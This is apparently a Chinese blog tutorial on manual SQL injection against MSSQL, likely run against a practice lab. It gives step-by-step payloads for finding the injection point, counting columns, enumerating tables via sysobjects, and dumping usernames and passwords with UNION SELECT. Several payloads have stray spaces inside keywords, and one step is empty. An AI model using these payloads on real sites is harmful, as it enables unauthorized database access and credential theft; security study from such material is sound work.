MSSQL手工注入

1、判断注入点

输入' 发现报错,输入' --+ 页面正常,存在sql注入

2、判断列数

' order by 4 --+出错, ' order by 3 --+ 页面正常,说明只有3列

 

 3、判断是否是MSSQL数据库

'and exists(select * from sysobjects)--+,页面正常说明是MSSQL数据库

4、查看显示位

-1' union select 1,2,3 --+ 

 

5、查看数据库信息

6、猜测表

查看第一张表

'and (select top 1 cast (name as varchar(256)) from(select top 2 id,name f rom [sysobjects] where xtype=char(85) and status!=1 order by id)t order b y id desc)=1--+

 查看第二张表

-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users')--+

 

 查看第三张表

-1'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !='users' and name !='emails')--+

 

查看第四张表

-1'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !='users' and name !='emails' and name !='uagents')--+

查看第五张表,页面出错,说明没有第五张表

-1'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !='users' and name !='emails' and name !='uagents' and name !='referers')--+

 

7、通过以下语句爆出表下的所有字段信息..

'having 1=1--+

'group by 字段名 1 having 1=1--+

'group by 字段名 1 ,字段名 2 having 1=1--+

 

 

8、查询字段值

-1' union all select 1,(select top 1 username from users),'3'--+

-1' union select 1,username,password from users --+

 

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值